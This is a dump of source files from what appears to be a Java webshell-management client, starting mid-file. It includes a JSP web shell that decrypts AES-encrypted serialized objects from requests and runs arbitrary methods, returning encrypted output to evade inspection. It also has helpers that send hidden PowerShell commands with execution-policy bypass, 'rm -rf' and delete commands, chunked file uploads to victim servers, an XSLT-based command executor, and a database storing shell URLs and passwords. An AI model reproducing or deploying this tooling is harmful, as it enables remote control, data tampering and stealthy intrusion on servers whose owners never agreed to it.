SecretKeySpec 中的 byte[] 的 length 必须是 16或者24或者32, 否则会抛 InvalidKeyException 异常 19 | SecretKey key = new SecretKeySpec(encryptKey, "AES"); 20 | // IV的长度必须和 BlockSize 一致(在这里 byte[] 的 length 应该为16),否则会抛 InvalidAlgorithmParameterException 异常 21 | AlgorithmParameterSpec iv = new IvParameterSpec(ivs); 22 | // 指定加密的算法、工作模式和填充方式 23 | Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); 24 | cipher.init(Cipher.ENCRYPT_MODE, key, iv); 25 | byte[] result = cipher.doFinal(plaintext.getBytes("UTF-8")); 26 | return Base64.getEncoder().encodeToString(result); 27 | } catch (Exception e) { 28 | e.printStackTrace(); 29 | return null; 30 | } 31 | } 32 | 33 | public static String decrypt(final String encrypted, byte[] encryptKey, byte[] ivs) { 34 | try { 35 | SecretKey key = new SecretKeySpec(encryptKey, "AES"); 36 | AlgorithmParameterSpec iv = new IvParameterSpec(ivs); 37 | byte[] decodeBase64 = Base64.getDecoder().decode(encrypted); 38 | // 指定加密的算法、工作模式和填充方式 39 | Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); 40 | cipher.init(Cipher.DECRYPT_MODE, key, iv); 41 | return new String(cipher.doFinal(decodeBase64), "UTF-8"); 42 | } catch (Exception e) { 43 | e.printStackTrace(); 44 | return null; 45 | } 46 | } 47 | 48 | public static void encryptFile(String filename, String key) { 49 | try { 50 | File source = new File(filename); 51 | File dest = new File(filename + ".lock"); 52 | 53 | if(source.exists()) { 54 | //删除原来的 .lock 文件,创建一个新的 .lock 文件 55 | if(dest.exists()){ 56 | boolean flag = dest.delete(); 57 | } 58 | dest.createNewFile(); 59 | 60 | InputStream in = new FileInputStream(source); 61 | OutputStream out = new FileOutputStream(dest); 62 | 63 | MessageDigest md = MessageDigest.getInstance("SHA-256"); 64 | byte[] b = key.getBytes(); 65 | md.update(b); 66 | byte[] secret = md.digest(); 67 | 68 | SecretKeySpec secretKeySpec = new SecretKeySpec(secret, "AES"); 69 | Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding"); 70 | cipher.init(Cipher.ENCRYPT_MODE, secretKeySpec); 71 | CipherInputStream cin = new CipherInputStream(in, cipher); 72 | byte[] cache = new byte[1024]; 73 | int nRead = 0; 74 | while ((nRead = cin.read(cache)) != -1) { 75 | out.write(cache, 0, nRead); 76 | out.flush(); 77 | } 78 | out.close(); 79 | cin.close(); 80 | in.close(); 81 | 82 | source.delete(); 83 | }else{ 84 | if(dest.exists()){ 85 | // do nothing 86 | }else{ 87 | throw new Exception(filename + " 以及 " + filename + ".lock 文件均不存在!"); 88 | } 89 | } 90 | } catch (Exception e) { 91 | e.printStackTrace(); 92 | } 93 | } 94 | 95 | public static void decryptFile(String filename, String key){ 96 | FileInputStream in = null; 97 | FileOutputStream out = null; 98 | CipherOutputStream cout = null; 99 | try { 100 | File source = new File(filename + ".lock"); 101 | 102 | if(source.exists()) { 103 | in = new FileInputStream(source); 104 | out = new FileOutputStream(filename); 105 | 106 | //计算key 107 | MessageDigest md = MessageDigest.getInstance("SHA-256"); 108 | byte[] b = key.getBytes(); 109 | md.update(b); 110 | byte[] secret = md.digest(); 111 | 112 | SecretKeySpec secretKeySpec = new SecretKeySpec(secret, "AES"); 113 | Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding"); 114 | cipher.init(Cipher.DECRYPT_MODE, secretKeySpec); 115 | cout = new CipherOutputStream(out, cipher); 116 | byte[] cache = new byte[1024]; 117 | int nRead = 0; 118 | while ((nRead = in.read(cache)) != -1) { 119 | cout.write(cache, 0, nRead); 120 | cout.flush(); 121 | } 122 | cout.close(); 123 | out.close(); 124 | in.close(); 125 | 126 | try{ 127 | Runtime.getRuntime().exec("attrib +H " + new File(filename).getAbsolutePath()); 128 | }catch(Exception e){ 129 | //do nothing 130 | } 131 | 132 | }else{ 133 | throw new Exception("lock文件不存在"); 134 | } 135 | } catch (Exception e) { 136 | e.printStackTrace(); 137 | } 138 | } 139 | } 140 | -------------------------------------------------------------------------------- /shell/流量加密版本/deserialization-aes.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="java.lang.reflect.Method" %> 2 | <%@ page import="java.util.*" %> 3 | <%@ page import="java.io.*" %> 4 | <%@ page import="javax.crypto.SecretKey" %> 5 | <%@ page import="javax.crypto.spec.SecretKeySpec" %> 6 | <%@ page import="java.security.spec.AlgorithmParameterSpec" %> 7 | <%@ page import="javax.crypto.spec.IvParameterSpec" %> 8 | <%@ page import="javax.crypto.Cipher" %> 9 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> 10 | <%! 11 | public class Gadget implements Serializable { 12 | private static final long serialVersionUID = -1878443566818256475L; 13 | private String name; 14 | private List args; 15 | private HashMap map; 16 | 17 | public String getName() { 18 | return name; 19 | } 20 | 21 | public void setName(String name) { 22 | this.name = name; 23 | } 24 | 25 | public List getArgs() { 26 | return args; 27 | } 28 | 29 | public void setArgs(List args) { 30 | this.args = args; 31 | } 32 | 33 | public HashMap getMap() { 34 | return map; 35 | } 36 | 37 | public void setMap(HashMap map) { 38 | this.map = map; 39 | } 40 | 41 | public String process() throws Exception{ 42 | Class clazz = null; 43 | if(name == null && map == null) { 44 | throw new Exception("Initialized error."); 45 | } 46 | 47 | String methodName = null; 48 | try{ 49 | clazz = Class.forName(name); 50 | Object obj = clazz.getConstructors()[0].newInstance(args); 51 | 52 | Method[] methods = clazz.getMethods(); 53 | for(Method method : methods){ 54 | methodName = method.getName(); 55 | 56 | if(methodName.startsWith("set")){ 57 | String attr = methodName.substring(3); 58 | if(map.get(attr) != null){ 59 | method.invoke(obj, attr); 60 | } 61 | } 62 | } 63 | 64 | List> superClass = new ArrayList(); 65 | 66 | StringBuilder sb = new StringBuilder(); 67 | for(Map.Entry entry : map.entrySet()){ 68 | if(entry.getKey().equals("forceString")){ 69 | String value = entry.getValue(); 70 | 71 | Method invokeMethod = null; 72 | Object target = null; 73 | for(String param : value.split(",")){ 74 | param = param.trim(); 75 | invokeMethod = clazz.getMethod(param); 76 | target = invokeMethod.invoke(obj); 77 | 78 | InputStream in = (InputStream)target.getClass().getSuperclass().getMethod("getInputStream").invoke(target); 79 | sb.append(getString(in)); 80 | } 81 | } 82 | } 83 | return sb.toString(); 84 | 85 | }catch(ClassNotFoundException e){ 86 | throw new Exception("class name not found: " + name); 87 | }catch(NoSuchMethodException e){ 88 | throw new Exception("Method invoke failed: " + methodName); 89 | }catch(Exception e){ 90 | throw new Exception("Unexpected Exception, may be attribute not set properly."); 91 | } 92 | } 93 | 94 | public String getString(InputStream in) throws IOException { 95 | int len = 0; 96 | byte buffer[] = new byte[1024]; 97 | ByteArrayOutputStream baos = new ByteArrayOutputStream(); 98 | 99 | while((len = in.read(buffer)) != -1){ 100 | baos.write(buffer, 0, len); 101 | } 102 | 103 | return baos.toString().trim(); 104 | } 105 | } 106 | %> 107 | <%! 108 | public static String encrypt(final String plaintext) { 109 | try { 110 | SecretKey key = new SecretKeySpec("[key_placeholder]".getBytes(), "AES"); 111 | AlgorithmParameterSpec iv = new IvParameterSpec("[iv_placeholder]".getBytes()); 112 | // 指定加密的算法、工作模式和填充方式 113 | Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); 114 | cipher.init(Cipher.ENCRYPT_MODE, key, iv); 115 | byte[] result = cipher.doFinal(plaintext.getBytes("UTF-8")); 116 | return new sun.misc.BASE64Encoder().encode(result).replaceAll("\r|\n|\r\n", ""); 117 | } catch (Exception e) { 118 | e.printStackTrace(); 119 | return null; 120 | } 121 | } 122 | 123 | public static String decrypt(final String encrypted) { 124 | try { 125 | SecretKey key = new SecretKeySpec("[key_placeholder]".getBytes(), "AES"); 126 | AlgorithmParameterSpec iv = new IvParameterSpec("[iv_placeholder]".getBytes()); 127 | byte[] decodeBase64 = new sun.misc.BASE64Decoder().decodeBuffer(encrypted); 128 | // 指定加密的算法、工作模式和填充方式 129 | Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); 130 | cipher.init(Cipher.DECRYPT_MODE, key, iv); 131 | return new String(cipher.doFinal(decodeBase64), "UTF-8"); 132 | } catch (Exception e) { 133 | e.printStackTrace(); 134 | return null; 135 | } 136 | } 137 | %> 138 | <% 139 | BufferedReader br = request.getReader(); 140 | String wholeStr = br.readLine(); 141 | br.close(); 142 | 143 | if(wholeStr != null && !wholeStr.trim().equals("")) { 144 | ByteArrayInputStream bis = new ByteArrayInputStream(Base64.getDecoder().decode(decrypt(wholeStr))); 145 | ObjectInputStream ois = new ObjectInputStream(bis); 146 | Gadget gadget = (Gadget)ois.readObject(); 147 | response.getWriter().print(encrypt(gadget.process().trim())); 148 | bis.close(); 149 | ois.close(); 150 | } 151 | %> -------------------------------------------------------------------------------- /src/main/java/com/feihong/util/FileOperationUtil.java: -------------------------------------------------------------------------------- 1 | package com.feihong.util; 2 | 3 | import com.feihong.bean.FileModel; 4 | import com.feihong.executor.CommandExecutor; 5 | import com.feihong.executor.CommandExecutorFactory; 6 | import java.util.*; 7 | 8 | public class FileOperationUtil { 9 | 10 | public static void ModifyFile(String path, String newContent){ 11 | String base64String = Base64.getEncoder().encodeToString(newContent.getBytes()); 12 | String cmd; 13 | if(BasicSetting.getInstance().shellPlatform.equalsIgnoreCase("windows")){ 14 | cmd = "powershell -nop -w hidden -ep bypass -c \"[System.Text.Encoding]::UTF8.GetString([System" + 15 | ".Convert]::FromBase64String('" + base64String + "')) > '" + path + "'\""; 16 | }else{ 17 | cmd = "python -c \"import base64;content=base64.b64decode" + 18 | "(r'" + base64String + "');fout=open(r'" + path + "','wb');fout.write(content);fout.close();\""; 19 | } 20 | CommandExecutorFactory.getInstance().exec(cmd); 21 | } 22 | 23 | public static void deleteFile(String path, String type){ 24 | if(BasicSetting.getInstance().shellPlatform.equalsIgnoreCase("windows")){ 25 | if(type == "文件"){ 26 | CommandExecutorFactory.getInstance().exec("del \"" + path + "\""); 27 | }else{ 28 | CommandExecutorFactory.getInstance().exec("rd /s/q \"" + path + "\""); 29 | } 30 | }else{ 31 | CommandExecutorFactory.getInstance().exec("rm -rf \'" + path + "\'"); 32 | } 33 | } 34 | 35 | public static void renameFile(String oldFilename, String newFilename){ 36 | if(BasicSetting.getInstance().shellPlatform.equalsIgnoreCase("windows")){ 37 | CommandExecutorFactory.getInstance().exec("move \"" + oldFilename + "\" \"" + newFilename + "\""); 38 | }else{ 39 | CommandExecutorFactory.getInstance().exec("mv '" + oldFilename + "' '" + newFilename + "'"); 40 | } 41 | } 42 | 43 | public static void newFile(String path){ 44 | if(BasicSetting.getInstance().shellPlatform.equalsIgnoreCase("windows")){ 45 | CommandExecutorFactory.getInstance().exec("powershell -nop -w hidden -ep bypass -c New-Item -Path '" + path + "' -ItemType File"); 46 | }else{ 47 | CommandExecutorFactory.getInstance().exec("touch '" + path + "'"); 48 | } 49 | } 50 | 51 | public static void newDirectory(String path){ 52 | if(BasicSetting.getInstance().shellPlatform.equalsIgnoreCase("windows")){ 53 | CommandExecutorFactory.getInstance().exec("md \"" + path + "\""); 54 | }else{ 55 | CommandExecutorFactory.getInstance().exec("mkdir '" + path + "'"); 56 | } 57 | } 58 | 59 | public static List getWindowsDrivers() { 60 | List result = new ArrayList<>(); 61 | String[] drivers = CommandExecutorFactory.getInstance().exec("wmic logicaldisk where drivetype=3 get deviceid").getResponseResult().split("\r\n"); 62 | 63 | for (String driver : drivers) { 64 | driver = driver.replaceAll("\r|\n", ""); 65 | if (driver.indexOf(":") > 0) { 66 | result.add(driver.trim()); 67 | } 68 | } 69 | 70 | return result; 71 | } 72 | 73 | public static List getFileEntry(String dir){ 74 | List list; 75 | if(BasicSetting.getInstance().shellPlatform.equalsIgnoreCase("windows")){ 76 | list = getFileEntryForWindows(dir); 77 | }else{ 78 | list = getFileEntryForLinux(dir); 79 | } 80 | 81 | //排序,文件夹放前面,文件放后面 82 | Collections.sort(list, new Comparator() { 83 | @Override 84 | public int compare(FileModel o1, FileModel o2) { 85 | if(o1.getType().equals("文件夹") && o2.getType().equals("文件夹")){ 86 | return 0; 87 | } 88 | 89 | if(o1.getType().equals("文件") && o2.getType().equals("文件")){ 90 | return 0; 91 | } 92 | 93 | if(o1.getType().equals("文件夹")){ 94 | return -1; 95 | }else{ 96 | return 1; 97 | } 98 | } 99 | }); 100 | 101 | return list; 102 | } 103 | 104 | private static List getFileEntryForWindows(String dir){ 105 | List result = new ArrayList<>(); 106 | 107 | //这里这么写,主要是为了解决一个bug 108 | //如果当前在D:/apache/tomcat目录,当执行 dir D:时看到的不是D盘根路径下的文件,而是D:/apache/tomcat里面的内容 109 | //这里通过执行 dir D:\. 来规避这个bug 110 | if(dir.matches("^[a-zA-Z]:$")){ 111 | dir = dir + "\\."; 112 | } 113 | String records[] = CommandExecutorFactory.getInstance().exec("dir \"" + dir + "\"").getResponseResult().replaceAll("\r","").split("\r\n|\n"); 114 | 115 | for(String record : records){ 116 | if(record.indexOf(":") > 0 && record.indexOf("/") > 0){ 117 | // 这里要加 limit 4,因为有些文件夹或者文件名中含有空格,如果不加这个限制,拿到的值就可能存在问题 118 | String[] strs = record.split("\\s+",4); 119 | if(strs[3].equalsIgnoreCase(".") || strs[3].equalsIgnoreCase("..")){ 120 | continue; 121 | } 122 | 123 | if(strs[2].equalsIgnoreCase("")){ 124 | result.add(new FileModel(strs[3],"文件夹", "", strs[0] + " " + strs[1])); 125 | }else{ 126 | result.add(new FileModel(strs[3],"文件", strs[2], strs[0] + " " + strs[1])); 127 | } 128 | } 129 | } 130 | 131 | return result; 132 | } 133 | 134 | private static List getFileEntryForLinux(String dir) { 135 | List result = new ArrayList<>(); 136 | String records[] = CommandExecutorFactory.getInstance().exec("ls -al '" + dir + "'").getResponseResult().split("\\r\\n|\\r|\\n"); 137 | 138 | for(String record : records){ 139 | // 任何一个 entry 都应该至少有一个r或者x权限才对 140 | if(record.indexOf("r") > 0 || record.indexOf("x") > 0){ 141 | String[] strs = record.split("\\s+",9); 142 | if(strs[8].equalsIgnoreCase(".") || strs[8].equalsIgnoreCase("..")){ 143 | continue; 144 | } 145 | 146 | if(strs[0].startsWith("d")){ 147 | result.add(new FileModel(strs[8],"文件夹", "", strs[5] + " " + strs[6] + " " + strs[7])); 148 | }else{ 149 | result.add(new FileModel(strs[8],"文件", strs[4], strs[5] + " " + strs[6] + " " + strs[7])); 150 | } 151 | } 152 | } 153 | 154 | return result; 155 | } 156 | } -------------------------------------------------------------------------------- /src/main/java/com/feihong/task/WindowsPlatformUploadTask.java: -------------------------------------------------------------------------------- 1 | package com.feihong.task; 2 | 3 | import com.feihong.bean.CommandExecutionResult; 4 | import com.feihong.executor.CommandExecutorFactory; 5 | import javafx.concurrent.Task; 6 | import java.io.ByteArrayOutputStream; 7 | import java.io.File; 8 | import java.io.FileInputStream; 9 | import java.util.ArrayList; 10 | import java.util.Base64; 11 | import java.util.Iterator; 12 | import java.util.List; 13 | 14 | public class WindowsPlatformUploadTask extends Task { 15 | private String serverPath; 16 | private String localPath; 17 | private int threadNum; 18 | private int blocksize; 19 | 20 | public WindowsPlatformUploadTask(String serverPath, String localPath, int threadNum, int blocksize){ 21 | this.serverPath = serverPath; 22 | this.localPath = localPath; 23 | this.threadNum = threadNum; 24 | this.blocksize = blocksize; 25 | } 26 | 27 | @Override 28 | protected Boolean call() throws Exception { 29 | long time1 = System.currentTimeMillis(); 30 | 31 | String cmd = "del \"" + serverPath + "\""; 32 | CommandExecutorFactory.getInstance().exec(cmd); 33 | 34 | FileInputStream in = new FileInputStream(localPath); 35 | ByteArrayOutputStream baos = new ByteArrayOutputStream(); 36 | int len = 0; 37 | byte[] buffer = new byte[1024]; 38 | while((len = in.read(buffer)) != -1) { 39 | baos.write(buffer, 0, len); 40 | } 41 | in.close(); 42 | 43 | byte[] bytes = Base64.getDecoder().decode(baos.toByteArray()); 44 | baos.close(); 45 | StringBuffer sb = new StringBuffer(new String(bytes)); 46 | int length = sb.length(); 47 | System.out.println("文件大小:" + length); 48 | 49 | int totalPart = (int) Math.ceil((double) length / blocksize); 50 | System.out.println("Total part: " + totalPart); 51 | 52 | List list = new ArrayList<>(); 53 | for(int i =0;i < totalPart; i++){ 54 | list.add(i); 55 | } 56 | 57 | List threadPool = new ArrayList<>(); 58 | Iterator it = list.iterator(); 59 | List runThreads = new ArrayList<>(); 60 | int count = 0; 61 | while( !isCancelled() && it.hasNext()){ 62 | if(threadPool.size() < threadNum){ 63 | int partNum = it.next(); 64 | Runnable runnable = new WindowsPlatformUploadThread(serverPath, partNum, blocksize, sb, length, threadPool, time1 + ""); 65 | threadPool.add(runnable); 66 | Thread t = new Thread(runnable); 67 | t.start(); 68 | runThreads.add(t); 69 | updateProgress(++count, totalPart+1); 70 | } 71 | } 72 | 73 | if(isCancelled()){ 74 | //删除文件操作必须等所有线程结束,否则会出现删除了又出现的情况 75 | for(Thread t : runThreads) 76 | try{t.join();}catch(Throwable e){} 77 | 78 | System.out.println("Abort..."); 79 | cmd = "del tmp" + time1 + "*"; 80 | CommandExecutorFactory.getInstance().exec(cmd); 81 | return true; 82 | } 83 | 84 | for(Thread t : runThreads) 85 | try{t.join();}catch(Throwable e){} 86 | 87 | cmd = "powershell -nop -ep bypass -c \"$Files=Get-ChildItem -Path .\\* -Include " + 88 | "tmp" + time1 + "-* -Name | sort-object {[int]$_.split('-')[1]}; Get-Content $Files | Set-Content tmp" + time1 + "xyz;\""; 89 | CommandExecutionResult res = CommandExecutorFactory.getInstance().exec(cmd); 90 | 91 | 92 | //使用 powershell 重组文件的时候耗时较长,大于 2MB 以上的文件即会超过 5s,此时命令执行超时,会继续执行下面的 del 语句,导致在 powershell 尚未执行完毕的情况下,临时小文件被删除,重组文件的 powershell 线程会卡死 93 | //为了避免这个问题,开始上传时,会删除 serverPath 文件,然后在执行 powershell 语句过后,循环判断指定路径的文件是否存在,如果存在,说明文件重组成功 94 | Thread t = new Thread(new Runnable() { 95 | @Override 96 | public void run() { 97 | //加入 isCancelled 判断,防止重组的文件不正确,大小计算不正确,根据大小判断的跳出条件不满足,造成死循环 98 | while (!isCancelled()) { 99 | try{ 100 | String result = CommandExecutorFactory.getInstance().exec("dir tmp" + time1 + "xyz").getResponseResult(); 101 | String size = ""; 102 | for(String str : result.split("\r\n")){ 103 | if(str.indexOf(":")>0 && str.indexOf("tmp" + time1 + "xyz") > 0){ 104 | size = str.split("\\s+", 4)[2]; 105 | size = size.replaceAll(",",""); 106 | break; 107 | } 108 | } 109 | 110 | System.out.println(Integer.parseInt(size) + "==" + (length + totalPart * 2)); 111 | //根据实际情况计算的,非是通过理论计算得到的 112 | if(Integer.parseInt(size) == (length + totalPart * 2)){ 113 | break; 114 | } 115 | }catch(Exception e){ 116 | e.printStackTrace(); 117 | } 118 | } 119 | 120 | if(isCancelled()){ 121 | System.out.println("Abort..."); 122 | String cmd = "del tmp" + time1 + "*"; 123 | CommandExecutorFactory.getInstance().exec(cmd); 124 | } 125 | } 126 | }); 127 | t.start(); 128 | t.join(); 129 | 130 | System.out.println("continue..."); 131 | 132 | cmd = "powershell -nop -ep bypass -c \"$dest='tmp" + time1 + "xyz';$content = (Get-Content $dest) -join" + 133 | " '';$bytes = [System.Convert]::FromBase64String($content);[System.IO.File]::WriteAllBytes" + 134 | "('" + serverPath + "',$bytes)\""; 135 | CommandExecutorFactory.getInstance().exec(cmd); 136 | 137 | //防止目标文件(serverPath)被创建出来之前,重组的 tmp 文件被删除了 138 | final boolean[] flag = {true}; 139 | Thread t2 = new Thread(new Runnable() { 140 | @Override 141 | public void run() { 142 | while (flag[0]) { 143 | String result = CommandExecutorFactory.getInstance().exec("dir \"" + serverPath + "\"").getResponseResult(); 144 | for(String str : result.split("\r\n")){ 145 | if(str.indexOf(":") > 0 && str.indexOf(new File(serverPath).getName()) > 0){ 146 | flag[0] = false; 147 | break; 148 | } 149 | } 150 | } 151 | } 152 | }); 153 | t2.start(); 154 | t2.join(); 155 | 156 | cmd = "del tmp" + time1 + "*"; 157 | CommandExecutorFactory.getInstance().exec(cmd); 158 | 159 | updateProgress(1.0,1.0); 160 | System.out.println("上传完毕"); 161 | 162 | long time2 = System.currentTimeMillis(); 163 | System.out.println("耗时:" + (time2 - time1)/1000.0 + "s"); 164 | return true; 165 | } 166 | } -------------------------------------------------------------------------------- /src/main/java/com/feihong/executor/XSLTCommandExecutor.java: -------------------------------------------------------------------------------- 1 | package com.feihong.executor; 2 | 3 | import com.feihong.bean.CommandExecutionResult; 4 | import com.feihong.util.BasicSetting; 5 | import com.feihong.util.WrappedHttpRequest; 6 | 7 | public class XSLTCommandExecutor implements CommandExecutor{ 8 | @Override 9 | public String getName() { 10 | return "XSLT Translation"; 11 | } 12 | 13 | @Override 14 | public CommandExecutionResult exec(String command) { 15 | 16 | command = command.replaceAll("&","&"); 17 | command = command.replaceAll("\\\\","\"); 18 | command = command.replaceAll("\n"," "); 19 | command = command.replaceAll("\"","""); 20 | command = command.replaceAll(">",">"); 21 | command = command.replaceAll("<","<"); 22 | 23 | String wrappedCommand; 24 | if(command.equalsIgnoreCase("ipconfig") || command.trim().equalsIgnoreCase("ifconfig")){ 25 | wrappedCommand = "\n" + 28 | " \n" + 29 | " \n" + 30 | " \n" + 32 | " \n" + 33 | " \n" + 34 | " \n" + 35 | " \n" + 36 | " \n" + 37 | " \n" + 39 | " \n" + 41 | " \n" + 42 | " \n" + 43 | " \n" + 44 | " \n" + 45 | " \n" + 46 | " \n" + 47 | ""; 48 | }else{ 49 | if(BasicSetting.getInstance().shellPlatform.trim().equalsIgnoreCase("windows")){ 50 | command = command.replaceAll("'","\\\\""); 51 | wrappedCommand = "\n" + 54 | " \n" + 55 | " \n" + 56 | " \n" + 57 | " \n" + 58 | " \n" + 59 | " \n" + 60 | " \n" + 61 | " \n" + 62 | " \n" + 63 | " \n" + 65 | " \n" + 66 | " \n" + 67 | " \n" + 68 | " \n" + 69 | " \n" + 70 | " \n" + 71 | ""; 72 | }else{ 73 | if(command.trim().startsWith("python")){ 74 | command = command.replaceAll("'","\\\\""); 75 | }else{ 76 | command = command.replaceAll("'","""); 77 | } 78 | 79 | wrappedCommand = "\n" + 82 | " \n" + 83 | " \n" + 84 | " \n" + 85 | " \n" + 86 | " \n" + 87 | " \n" + 88 | " \n" + 89 | " \n" + 90 | " \n" + 91 | " \n" + 93 | " \n" + 94 | " \n" + 95 | " \n" + 96 | " \n" + 97 | " \n" + 98 | " \n" + 99 | ""; 100 | } 101 | } 102 | 103 | return WrappedHttpRequest.post(wrappedCommand); 104 | } 105 | } 106 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/db/DBUtil.java: -------------------------------------------------------------------------------- 1 | package com.feihong.db; 2 | 3 | import com.feihong.bean.ShellEntry; 4 | import com.feihong.util.BasicSetting; 5 | import java.sql.*; 6 | import java.util.ArrayList; 7 | import java.util.HashMap; 8 | import java.util.List; 9 | import java.util.Map; 10 | 11 | public class DBUtil { 12 | public static Connection getConnection() throws SQLException, ClassNotFoundException { 13 | Class.forName("org.sqlite.JDBC"); 14 | String db = BasicSetting.getInstance().dbFile; 15 | Connection conn = DriverManager.getConnection("jdbc:sqlite:" + db); 16 | return conn; 17 | } 18 | 19 | public static void save(ShellEntry entry) throws SQLException, ClassNotFoundException { 20 | Connection connection = getConnection(); 21 | PreparedStatement preparedStatement; 22 | 23 | if(entry.getId() != 0){ 24 | String sql = "update shells set url=?, password=?, type=?, create_time=?, lastvisit_time=?, remarks=?, headers=?, is_encrypt=?, encrypt_key=? ,iv = ? where id=?"; 25 | preparedStatement = connection.prepareStatement(sql); 26 | preparedStatement.setString(1, entry.getUrl()); 27 | preparedStatement.setString(2, entry.getPassword()); 28 | preparedStatement.setString(3, entry.getType()); 29 | preparedStatement.setString(4, entry.getCreateTime()); 30 | preparedStatement.setString(5, entry.getLastvisitTime()); 31 | preparedStatement.setString(6,entry.getRemarks()); 32 | preparedStatement.setString(7, mapToString(entry.getHeaders())); 33 | preparedStatement.setInt(8, entry.getIsEncrypt()); 34 | preparedStatement.setString(9, entry.getEncryptKey()); 35 | preparedStatement.setString(10, entry.getIV()); 36 | preparedStatement.setInt(11, entry.getId()); 37 | 38 | preparedStatement.execute(); 39 | 40 | }else{ 41 | String sql = "insert into shells(url, password, type, create_time, lastvisit_time, remarks, headers, is_encrypt, encrypt_key, iv) values(?,?,?,?,?,?,?,?,?,?)"; 42 | preparedStatement = connection.prepareStatement(sql); 43 | preparedStatement.setString(1, entry.getUrl()); 44 | preparedStatement.setString(2, entry.getPassword()); 45 | preparedStatement.setString(3, entry.getType()); 46 | preparedStatement.setString(4, entry.getCreateTime()); 47 | preparedStatement.setString(5, entry.getLastvisitTime()); 48 | preparedStatement.setString(6,entry.getRemarks()); 49 | preparedStatement.setString(7, mapToString(entry.getHeaders())); 50 | preparedStatement.setInt(8, entry.getIsEncrypt()); 51 | preparedStatement.setString(9, entry.getEncryptKey()); 52 | preparedStatement.setString(10, entry.getIV()); 53 | 54 | preparedStatement.execute(); 55 | } 56 | 57 | preparedStatement.close(); 58 | connection.close(); 59 | } 60 | 61 | public static void delete(ShellEntry entry) throws SQLException, ClassNotFoundException { 62 | String sql = "delete from shells where id=?"; 63 | Connection connection = getConnection(); 64 | PreparedStatement preparedStatement = connection.prepareStatement(sql); 65 | preparedStatement.setInt(1, entry.getId()); 66 | preparedStatement.execute(); 67 | preparedStatement.close(); 68 | connection.close(); 69 | } 70 | 71 | public static ShellEntry query(int id) throws SQLException, ClassNotFoundException { 72 | // 如果数据库中未查到响应的记录,返回一个 null 73 | Connection connection = getConnection(); 74 | 75 | String sql = "select * from shells where id=?"; 76 | PreparedStatement preparedStatement = connection.prepareStatement(sql); 77 | preparedStatement.setInt(1, id); 78 | 79 | ResultSet resultSet = preparedStatement.executeQuery(); 80 | ShellEntry entry = null; 81 | if(resultSet.next()){ 82 | entry = new ShellEntry(); 83 | entry.setId(id); 84 | entry.setUrl(resultSet.getString("url")); 85 | entry.setPassword(resultSet.getString("password")); 86 | entry.setType(resultSet.getString("type")); 87 | entry.setCreateTime(resultSet.getString("create_time")); 88 | entry.setLastvisitTime(resultSet.getString("lastvisit_time")); 89 | entry.setRemarks(resultSet.getString("remarks")); 90 | entry.setHeaders(stringToMap(resultSet.getString("headers"))); 91 | entry.setIsEncrypt(resultSet.getInt("is_encrypt")); 92 | entry.setEncryptKey(resultSet.getString("encrypt_key")); 93 | entry.setIV(resultSet.getString("iv")); 94 | } 95 | 96 | resultSet.close(); 97 | preparedStatement.close(); 98 | connection.close(); 99 | return entry; 100 | } 101 | 102 | public static List queryAll() throws SQLException, ClassNotFoundException { 103 | //如果数据库里面没有数据,返回一个空的 ArrayList 104 | Connection connection = getConnection(); 105 | 106 | try{ 107 | String sql = "select * from shells"; 108 | PreparedStatement preparedStatement = connection.prepareStatement(sql); 109 | ResultSet resultSet = preparedStatement.executeQuery(); 110 | 111 | List list = new ArrayList<>(); 112 | while(resultSet.next()){ 113 | ShellEntry shellEntry = new ShellEntry(); 114 | shellEntry.setId(resultSet.getInt("id")); 115 | shellEntry.setUrl(resultSet.getString("url")); 116 | shellEntry.setPassword(resultSet.getString("password")); 117 | shellEntry.setType(resultSet.getString("type")); 118 | shellEntry.setCreateTime(resultSet.getString("create_time")); 119 | shellEntry.setLastvisitTime(resultSet.getString("lastvisit_time")); 120 | shellEntry.setRemarks(resultSet.getString("remarks")); 121 | shellEntry.setHeaders(stringToMap(resultSet.getString("headers"))); 122 | shellEntry.setIsEncrypt(resultSet.getInt("is_encrypt")); 123 | shellEntry.setEncryptKey(resultSet.getString("encrypt_key")); 124 | shellEntry.setIV(resultSet.getString("iv")); 125 | 126 | list.add(shellEntry); 127 | } 128 | 129 | resultSet.close(); 130 | preparedStatement.close(); 131 | connection.close(); 132 | return list; 133 | }catch(SQLException e){ 134 | //这里之所以这么写的原因是因为在打开程序的时候会对数据库做解密操作,随后调用 DBUtil.queryAll() 方法确认是否解密成功 135 | //如果解密不成功,则会抛 SQLException,导致 conn.close() 未得到执行,从而资源未释放导致 data.db 无法删除 136 | //这里这么写的目的就是保证用户在输入密码错误时,data.db 能够被正常删除 137 | connection.close(); 138 | throw e; 139 | } 140 | } 141 | 142 | public static String mapToString(Map map){ 143 | StringBuilder sb = new StringBuilder(); 144 | if(map != null){ 145 | for(Map.Entry entry : map.entrySet()){ 146 | sb.append(entry.getKey()); 147 | sb.append("="); 148 | sb.append(entry.getValue()); 149 | sb.append("&"); 150 | } 151 | 152 | if(sb.length() > 0){ 153 | sb.deleteCharAt(sb.length()-1); 154 | } 155 | 156 | return sb.toString(); 157 | } 158 | 159 | return ""; 160 | 161 | } 162 | 163 | public static Map stringToMap(String str){ 164 | Map map = new HashMap<>(); 165 | 166 | if(str != null && str.length() > 0) { 167 | String[] params = str.split("&"); 168 | for (String str1 : params) { 169 | String[] temp = str1.split("="); 170 | map.put(temp[0], temp[1]); 171 | } 172 | } 173 | 174 | return map; 175 | } 176 | } 177 | --------------------------------------------------------------------------------